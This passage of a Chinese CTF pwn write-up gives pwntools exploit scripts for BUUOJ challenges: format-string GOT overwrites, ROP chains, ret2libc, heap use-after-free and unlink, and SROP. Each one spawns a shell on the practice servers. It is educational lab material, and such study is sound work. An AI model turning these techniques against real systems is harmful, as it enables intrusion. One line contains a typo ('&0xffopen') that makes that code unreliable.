log.info("read_addr: "+hex(read_addr))
libc=LibcSearcher("read",read_addr)
base=read_addr-libc.dump("read")
system=libc.dump("system")+base
payload="a"+fmtstr_payload(8,{strlen_got:system},write_size = "byte",numbwritten = 0xa)
p.sendline(payload)
p.sendline(";/bin/sh\x00")
p.interactive()
1
2
3
4
5
6
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将strlen的GOT数据改为system函数地址,就写成{strlenGOT:systemAddress};
第三个参数表示已经输出的字符个数,默认值为0;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

这里numbwritten的原因是前面输出了一小段,和a加起来正好10个字节

image-20211019101005538.png

补充点简单shell的知识(看完自己去测试就明白了)

管道符 |:command1正确输出,作为command2的输入 然后comand2的输出作为comand3的输入

;符号:也就是我们上题用的符号,用来过滤垃圾数据,这个符号用来分割语句,就算前后的句子都错了,它也能正常执行中间的句子。

ps.本题本来应该早出来的,然后我把/bin/sh写成了/bin/bash. (´;ω;`)

35.axb_2019_fmt64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import * 
from LibcSearcher import LibcSearcher
context.log_level='debug'
p = remote("node4.buuoj.cn",28260)
elf = ELF("./axb_2019_fmt64")
puts_got = elf.got["puts"]
strlen_got = elf.got["strlen"]
payload1 = "%9$s" + "AAAA" + p64(puts_got)
p.sendafter("Please tell me:",payload1)
print(p.recvuntil("Repeater:"))
puts_addr = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")
system_addr = libcbase + libc.dump("system")
high = (system_addr >> 16) & 0xff
low = system_addr & 0xffff
payload2 = "%" + str(high - 9) + "c%12$hhn" + "%" + str(low - high) + "c%13$hn"
payload2 = payload2.ljust(32,"A") + p64(strlen_got + 2) + p64(strlen_got)
p.sendafter("Please tell me:",payload2)
payload3 = ';/bin/sh\x00'
p.sendafter("Please tell me:",payload3)
p.interactive()

36.bjdctf_2020_router

1
2
3
4
5
6
7
from pwn import * 
p = remote("node4.buuoj.cn",25552)
p.recv()
p.sendline("1")
p.recv()
p.sendline(";bin/sh")
p.interactive()

37.[OGeek2019]babyrop

image-20211026192000320

image-20211026192014808

读入一个随机数,然后把随机数读入buf

strlen可以通过\x00绕过,然后返回值v5可以被我们利用

image-20211027104923832

a1可以自己设置读取长度,不需要让它等于127,有多大搞多大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',28294)
elf=ELF('./pwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload1='\0'+'\xff'*7
p.sendline(payload1)
p.recvline()
payload2='a'*(0xe7 + 0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload3='a'*(0xe7 + 0x4)+p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p=remote('node4.buuoj.cn',28294)
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=0x8048825
payload1='\0'+'\xff'*7
p.sendline(payload1)
p.recvline()
payload2='a'*(0xe7 + 0x4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
write_addr=u32(p.recv(4))
libc_base=write_addr - libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh_addr=libc_base+libc.search('/bin/sh').next()
p.sendline(payload1)
p.recvline()
payload3='a'*(0xe7 + 0x4)+p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()

38.cmcc_simplerop

静态链接,所以程序内有很多函数,本来想直接泄漏libc的,发现puts函数是它自己定义的,所以就找int0x80构造ropchain。

1.直接手写利用链

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
bss=0x080EAFB8
read=0x0806CD50
int80=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
p=remote("node4.buuoj.cn",29923)
payload="a"*32+p32(read)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss)+p32(0x8)
payload+=p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)+p32(int80)
p.sendlineafter("Your input :",payload)
p.sendline("/bin/sh\x00")
p.interactive()

2.修改ROPgadget利用链

ROPgadget --binary simplerop --ropchain

pack库:https://docs.python.org/zh-cn/3/library/struct.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from struct import pack
r=remote("node4.buuoj.cn",29923)
p = 'a'*32
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx
p += p32(0)+p32(0)+p32(0x080ea060)
p += pack(b'<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack(b'<I', 0x080493e1) # int 0x80
p += pack('<I', 0x080bae06) # pop eax ; ret
p += p32(0xb)
p += pack('<I', 0x080493e1) # int 0x80
print(len(p))

r.sendafter('Your input :',p)
r.interactive()

3.mprotect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
mprotect=0x806D870
bss=0x080EB000
#这里不能随便给值,因为mprotect要求对齐
pop_edx_ecx_ebx=0x0806e850
read_addr=0x806CD50
p=remote("node4.buuoj.cn",29887)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
payload="a"*32+p32(mprotect)+p32(pop_edx_ecx_ebx)+p32(bss)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)+p32(bss)+p32(0)+p32(bss)+p32(len(shellcode))
p.recvuntil("Your input :")
p.sendline(payload)
sleep(1)
p.sendline(shellcode)
p.interactive()

39.inndy_rop

和上题一样,静态链接的函数不会调用libc。

1.ida问题

直接f5会报错

1
2
3
Decompilation failure:
80488B2: positive sp value has been found
Please refer to the manual to find appropriate actions

image-20211116105038116

Options->General->勾选Stack pointer

找到上述的报错地址80488B2,右击前面地址选择Change stack pointer进行修改

只要让retn的栈指针不为负值就能f5了,这个报错的原因是因为堆栈不平衡导致的

image-20211116105759087

2.直接手写

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=remote("node4.buuoj.cn",25099)
int80=0x0806c943
bss=0x80EAFBA
pop_edx_ecx_ebx=0x0806ed00
pop_eax=0x080b8016
read_addr=0x0806D290
payload="a"*16+p32(read_addr)+p32(pop_edx_ecx_ebx)+p32(0)+p32(bss)+p32(0x100)
payload+=p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(pop_eax)+p32(0xb)+p32(int80)
r.sendline(payload)
r.sendline("/bin/sh\x00")
r.interactive()

3.ROPgadget && ropper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#ROPgadget --binary rop --ropchain
from pwn import *
from struct import pack
r=remote("node4.buuoj.cn",25099)
p = 'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
r.sendline(p)
r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#ropper --file rop --chain execve
from pwn import *
from struct import pack
r=remote("node4.buuoj.cn",25099)

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # 487729c3b55aaec43deb2af4c896b16f9dbd01f7e484054d1bb7f24209e2d3ae
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = 'a'*(0xc+4)

rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += '//bi'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += 'n/sh'
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2064)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x00000000)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x0000c66b) # 0x0805466b: mov dword ptr [edx], eax; ret;
rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret;
rop += rebase_0(0x000a2060)
rop += rebase_0(0x00096769) # 0x080de769: pop ecx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00026cda) # 0x0806ecda: pop edx; ret;
rop += rebase_0(0x000a2068)
rop += rebase_0(0x00070016) # 0x080b8016: pop eax; ret;
rop += p(0x0000000b)
rop += rebase_0(0x00027430) # 0x0806f430: int 0x80; ret;
print rop
r.sendline(rop)
r.interactive()

4.mprotect

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
r=remote("node4.buuoj.cn",25099)
mprotect=0x0806DDA0
bss=0x080EB000
pop_edx_ecx_ebx=0x0806ed00
read_addr=0x0806D290
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
payload="a"*16+p32(mprotect)+p32(pop_edx_ecx_ebx)+p32(bss)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)+p32(bss)+p32(0)+p32(bss)+p32(200)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()

40.others_babystack

这题本来直接libc泄漏然后做的,结果一直没解出来。然后学习了一下别的师傅的解法。也算有收获。

1.泄漏libc_start_main_ret

main函数返回后会调用libc_start_main_ret函数,所以我们可以通过泄漏这个函数,然后去libcdatabase找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
from LibcSearcher import *
elf = ELF('./babystack')
p=remote("node4.buuoj.cn",26746)
p.recvuntil(">> ")
p.sendline("1")
payload=(0x90-8-1)*"a"+"b"
p.sendline(payload)
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("b")
canary=u64(p.recv(8).ljust(8,"\x00"))
info("canary: "+hex(canary))
p.interactive()

执行后发现canary的最后两位不是0,所以减掉。

image-20211117111838453

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
elf = ELF('./babystack')
p = remote('node4.buuoj.cn',28428)
p.recvuntil(">> ")
p.sendline('1')
payload = 'a'*(0x90-0x8-1)+'b'
p.sendline(payload)
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil('b')
canary = u64(p.recv(8))-0xa
log.success('canary:'+hex(canary))

p.recvuntil(">> ")
p.sendline('1')
payload2 = 'a'*(0x90+0x8-1-1)+'b'
p.sendline(payload2)
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil('b\n')
libc_start_main_ret = u64(p.recv(6)+'\x00\x00')
log.success('libc_start_main_ret:'+hex(libc_start_main_ret))

libc_addr = libc_start_main_ret - 0x020830

p.recvuntil(">> ")
p.sendline('1')
payload3 = 'a'*(0x90-8)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr + 0x45216)
p.sendline(payload3)
p.recvuntil(">> ")
p.sendline('3')

p.interactive()

2.puts正常泄漏libc

俺也不知道为什么泄漏出来不能用,总之用它给的https://github.com/bash-c/pwn_repo/tree/master/others_babystack

然后one_gadget获取利用

image-20211119083044779

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',28428)
elf=ELF('./babystack')
r.sendlineafter(">>",'1')
payload='a'*(0x80+8)
r.sendline(payload)
r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,'\x00'))

pop_rdi=0x400a93
libc_start=elf.got['__libc_start_main']
puts_plt=elf.plt['puts']
main_addr=0x400908
payload='a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(libc_start)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(">>",'1')
r.sendline(payload)
r.sendlineafter(">>",'3')
print("aaa\n")
print(r.recv())

start_addr=u64(r.recv(6).ljust(8,'\x00'))
success("start_addr: "+hex(start_addr))
libc_addr=start_addr-0x020740
libc=LibcSearcher('__libc_start_main',start_addr)
libc_base=start_addr-libc.dump('__libc_start_main')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')

payload='a'*(0x80+8)+p64(canary)+p64(0xdeadbeef)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
payload2 = 'a'*(0x90-8)+p64(canary)+p64(0xdeadbeef)+p64(libc_addr + 0x45216)

r.sendlineafter('>>','1')
r.sendline(payload2)
r.sendlineafter('>>','3')

r.interactive()

41.metasequoia_2020_samsara

第一道heap,看了好多资料,发现其实利用不难理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
p=remote("node4.buuoj.cn",25736)
def add():
p.sendlineafter("choice > ", "1")
def delete(index):
p.sendlineafter("choice > ", "2")
p.sendlineafter("Index:", index)
def edit(index,value):
p.sendlineafter("choice > ", "3")
p.sendlineafter("Index:", index)
p.sendlineafter("Ingredient:", value)
def lair():
p.sendlineafter("choice > ", "4")
p.recvuntil("0x")
return int(p.recvuntil("\n"),16)

def move(value):
p.sendlineafter("choice > ", "5")
p.sendlineafter("Which kingdom?", value)

def exit_():
p.sendlineafter("choice > ", "6")


add() # chunk0
add() # chunk1
add() # chunk2

delete("0")
delete("1")
delete("0")
add() # chunk3
move(str(0x21))
edit("3",str(lair()-8))
add() # chunk4
add() # chunk5
add() # chunk6
edit("6",str(0xDEADBEEF))
exit_()
p.interactive()

42.metasequoia_2020_summoner

堆题保护全开,第一道uaf,写的稍微详细点

image-20211201100214078

image-20211201101128257

先测试程序,大概逻辑是要你生成一个level5的怪物,然后进行攻击。但是程序最高只能让你生成level4。

猜测定义了一个结构体,大概是这样

1
2
3
4
struct creature{
char* name;
int level;
}

image-20211201103201458

image-20211201103223014

add函数有几个需要注意的点,首先可以看到strtok函数的参数是v11,原因如下,v11和s之间差的七个字节正是summon和空格的长度。

image-20211201103718135

image-20211201105510061

所以一共会生成两个0x20的堆name->*name->用户输入

调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
p=process("./metasequoia_2020_summoner")
context.terminal = ['tmux','splitw','-h']
def add(str):
p.sendlineafter("> ","summon "+str)
def show():
p.sendlineafter("> ","show")
def edit(level):
p.sendlineafter("> ","level-up "+level)
def delete():
p.sendlineafter("> ","release")
def exit_():
p.sendlineafter("> ","quit")
def attack():
p.sendlineafter("> ","strike")

add("a")
gdb.attach(p)
pause()
p.interactive()

image-20211201191608778

image-20211201191640813

可以看到两个堆,第一个存放了名字的地址,第二个存放了名字。

1
2
3
4
add("a")
edit("4")
gdb.attach(p)
pause()

image-20211201191813972

接着往下看代码会发现只会free一个堆

image-20211201192532568

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
p=remote("node4.buuoj.cn",28696)
def add(str):
p.sendlineafter("> ","summon "+str)
def show():
p.sendlineafter("> ","show")
def edit(level):
p.sendlineafter("> ","level-up "+level)
def delete():
p.sendlineafter("> ","release")
def exit_():
p.sendlineafter("> ","quit")
def attack():
p.sendlineafter("> ","strike")

add("aaaaaaaa\x05")
delete()
add("a")
attack()
p.interactive()

43.hitcontraining_uaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p=remote("node4.buuoj.cn",28630)
#p=process("./hacknote")
#context.terminal = ['tmux','splitw','-h']
def add(size,str):
p.sendlineafter("choice :","1")
p.sendlineafter("size :",size)
p.sendlineafter("Content :",str)
def delete(index):
p.sendlineafter("choice :","2")
p.sendlineafter("Index :",index)
def show(index):
p.sendlineafter("choice :","3")
p.sendlineafter("Index :",index)
add("20","aa")
add("20","bb")
delete("0")
delete("1")
add("8",p32(0x8048945))
show("0")
#gdb.attach(p)
#pause()
p.interactive()

44.pwnable_hacknote

和上个题一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
p = remote("node4.buuoj.cn",27001)
elf = ELF("./hacknote")
libc = ELF("libc-2.23.so")
read_got = elf.got["read"]
puts = 0x804862b
def add(size,index):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(size)
p.recvuntil("Content :")
p.sendline(index)

def delete(index):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(index)

def show(index):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(index)
add("20","aa")
add("20","aa")
delete('0')
delete('1')
add('8',p32(puts)+p32(read_got))
show('0')
read = u32(p.recv(4))
libc_base = read - libc.symbols['read']
sys = libc_base + libc.symbols['system']
delete('2')
add('8',p32(sys)+";sh\x00")
#注意这里只能8个字节
show('0')
p.interactive()

45.2021深育杯findflag

通过objdump可以查看一些函数名字

稍微修复一下,然后可以发现20行存在格式化字符串。

shift+f12查看字符串,然后ctrl+x找到后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p = process("./find_flag")
elf = ELF("./find_flag")
p.recvuntil("Hi! What's your name? ")
p.sendline("%17$p.%19$p")
p.recvuntil('Nice to meet you, ')
canary=int(p.recvuntil("00"),16)
log.success("canary:"+hex(canary))
p.recvuntil('.')
main_addr = int(p.recvuntil("6f"),16)
log.success("main_addr:"+hex(main_addr))
back_door = main_addr - 0x146f + 0x1231
log.success("back_door:"+hex(back_door))
p.sendlineafter("Anything else? ","a"*0x38 + p64(canary) + "a"*0x8 + p64(back_door))
p.interactive()

46.[第六章 CTF之PWN章]fsb

image-20220131181003492

开启了Partial RELRO,所以可以尝试改got表。

image-20220131192700733

image-20220131192642357

挂gdb调试,发现要fmtarg的值再+1。

image-20220131225710276

image-20220131225642177

找到几个重要的地址,比如上图中rbp这个指针,指向了两个栈上的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

p=remote('node4.buuoj.cn',28073)
libc = ELF('./libc-2.27.so')
elf = ELF('./fsb2')

p.recvuntil('name:')
p.sendline('%10$p%11$p%21$p')
p.recvuntil('0x')
stack_rdp = int(p.recvuntil('0x')[:-2],16)
addr1 = int(p.recvuntil('0x')[:-2],16)
base = addr1 - elf.symbols['vuln']-0x3f
addr2 = int(p.recvuntil('\n')[:-1],16)
libc_base = addr2 - libc.symbols['__libc_start_main']-0xe7
stack_rsp = stack_rdp+32
free_got = base + elf.got['free']
system = libc_base + libc.symbols['system']

#overwrite stack_rsp to free_got
for i in range(0,6):
x = 5-i
off = (stack_rsp+x)&0xffopen
p.recvuntil('name')
p.sendline("%"+str(off)+"c%10$hhn"+'\x00')
ch = (free_got>>(x*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%16$hhn"+'\x00')

#overwrite free_got to system
for i in range(0,6):
off = (free_got+i)&0xff
p.recvuntil('name')
p.sendline("%"+str(off)+"c%16$hhn"+'\x00')

ch = (system>>(i*8))&0xff
p.recvuntil('name')
p.sendline("%"+str(ch)+"c%20$hhn"+'\x00')

for i in range(5): # 一共循环30次,前面已经25次了
p.recvuntil('name')
p.sendline('/bin/sh'+'\x00')

p.interactive()

47.SWPUCTF_2019_login

image-20220209173906370

使用fmtarg测试发现ebp的偏移是6。

image-20220209173858313

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
io=remote('node4.buuoj.cn',28821)
io.sendline('ydh')
#得到栈地址
io.recvuntil('password:')
io.sendline('%6$p') #6->10
io.recvuntil('wrong password: ')
change=(int(io.recvline()[2:],16)-4)&0xff
#将10指向9
pl1='%'+str(change)+'c'+'%6$hhn' #change 10->9
io.recvuntil('Try again!')
io.sendline(pl1)
#将9指向printf_got
pl2='%'+str(0x14)+'c'+'%10$hhn' #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)
#将10指向8
pl1='%'+str(change-4)+'c'+'%6$hhn' #change 10->8
io.recvuntil('Try again!')
io.sendline(pl1)
#将8指向printf_got+2
pl2='%'+str(0xb016)+'c'+'%10$hn' #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)
#读取printf_address
io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
#计算system_address
libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
a=sys&0xffff
b=sys>>16
#将printf 覆盖为 system,getshell
pl3='%'+str(a)+'c'+'%9$hn'+'%'+str(b-a)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')
io.interactive()

开始看exp一直没看懂,后来发现print_got+2是为了更容易格式化字符串覆盖。

48.rootersctf_2019_srop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
#io=remote('node4.buuoj.cn',27951)
io=process("rootersctf_2019_srop")
context.terminal = ['tmux','splitw','-h']
context.arch="amd64"
data_addr = 0x402000
syscall_leave_ret = 0x401033
pop_rax_syscall_leave_ret = 0x401032
syscall_addr = 0x40101f
frame = SigreturnFrame()
frame.rax=0 # read syscall
frame.rdi=0 # stdin
frame.rsi=data_addr # buffer
frame.rdx=0x400 # length
frame.rip=syscall_leave_ret
frame.rbp=data_addr
# call read
data = [0x88*'a', pop_rax_syscall_leave_ret,0xf,bytes(frame)]
# 先调用pop rax,调用sigreturn把栈复原
# leave;ret指令的本质是mov rbp rsp;pop rbp;pop rip
# 所以接着调用read函数
gdb.attach(io)

io.recvline()
io.sendline(flat(data))

layout = ["/bin/sh\x00", pop_rax_syscall_leave_ret, 0xf]
# "/bin/sh/x00"正好被pop rbp了。
frame = SigreturnFrame(kernel="amd64")
frame.rax = 59 # execve
frame.rdi = data_addr # /bin/sh\x00
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr

layout.append(bytes(frame))

io.sendline(flat(layout))
io.interactive()

49.hitcon2014_stkof

从一道题学会unlink。

开启pie,没检测size长度,存在全局变量数组存malloc之后的地址。判断为unlink。

这里要注意一点,unlink检测的p指针和当前存储的地址都是mem指向的地方,所以你会发现都+0x10了。

题目中的setbuf()/setvbuf()函数的作用是用来关闭I/O缓冲区,本题没关闭缓冲区,所以程序在运行的时候会malloc出两个内存区域。

我们首先分配4个chunk,第一个生成的chunk会因为没关闭I/O缓冲区自动申请的chunk导致堆中的chunk排列顺序。我们申请3次才能申请到两个连续的chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
#p = process('./stkof')
p=remote("node4.buuoj.cn",27135)
elf = ELF("./stkof")
libc = ELF("./libc-2.23.so")

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

def alloc(size):
p.sendline(str(1))
p.sendline(str(size))
p.recvuntil("OK")

def fill(idx,content):
p.sendline(str(2))
p.sendline(str(idx))
p.sendline(str(len(content)))
p.sendline(content)
p.recvuntil("OK")

def free(idx):
p.sendline(str(3))
p.sendline(str(idx))

alloc(0x30)
alloc(0x30)
alloc(0x80)
alloc(0x30)

然后在第二个chunk进行伪造

1
2
3
4
5
6
7
8
9
10
11
target = 0x602140 + 0x10
fd = target - 0x18
bk = target - 0x10

payload = p64(0) + p64(0x30)
payload += p64(fd) + p64(bk)
payload += "a"*0x10

payload += p64(0x30) + p64(0x90)
fill(2,payload)
free(3)

这时的target里面存放的值就是target-0x18

fill完,free前,可以看到全局链表上存储的都是堆地址

image-20220302230101703

free后,可以看到*0x602150变成了0x602138,此时写入chunk2就等于写入602138的值

1
2
3
payload = "a"*0x10
payload += p64(free_got) + p64(puts_got)
fill(2,payload)

image-20220303203248686

可以看到在chunk1的位置写入了free的got表

1
2
payload = p64(puts_plt)
fill(1,payload)

把puts的plt表写入got表。这里补充一下,程序为了延迟绑定,会使用plt,got表,got表没有执行权限,但是它指向的libc库中的函数可以执行,所以我们可以把plt写入got表。

然后因为我们上面写入chunk2为puts的got表,所以可以直接free chunk2。

后面就一样了,直接放脚本了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
